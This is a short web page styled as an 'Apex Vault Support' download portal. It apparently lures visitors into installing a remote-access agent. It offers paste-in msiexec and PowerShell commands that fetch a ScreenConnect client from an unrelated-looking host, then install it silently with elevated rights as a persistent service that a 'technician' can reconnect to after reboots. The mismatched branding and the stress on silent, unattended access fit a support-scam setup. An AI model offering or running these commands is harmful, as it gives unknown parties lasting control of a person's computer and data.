🔒 Secure session · encrypted end-to-end

Apex Vault Support

Download & install

Windows macOS Linux

Small download No account needed Remove anytime

How it works

Three steps and you're connected.

Run the installer

Download and open the agent. On Windows, approve the UAC prompt — the install itself is silent.

It appears in our console

The agent checks in as a persistent service, so we can also reconnect after a reboot.

We connect

A technician joins your screen, watches the issue as it happens, and can guide or fix it.

For IT & power users

Silent / unattended install options.

Windows — silent install via MSI ▸

Run in an elevated prompt (no wizard):

msiexec /i "https://merckandassociates1.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi" /qn

Windows — completely unattended (auto-elevates) ▸

Downloads the MSI and installs silently, prompting once for elevation:

powershell -NoP -C "iwr https://merckandassociates1.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi -OutFile $env:TEMP\sc.msi; Start-Process msiexec -ArgumentList '/i',\"$env:TEMP\sc.msi\",'/qn' -Verb RunAs"

Already installed? Reconnect ▸

If the agent is already on this machine it will reconnect automatically. Otherwise open the support portal.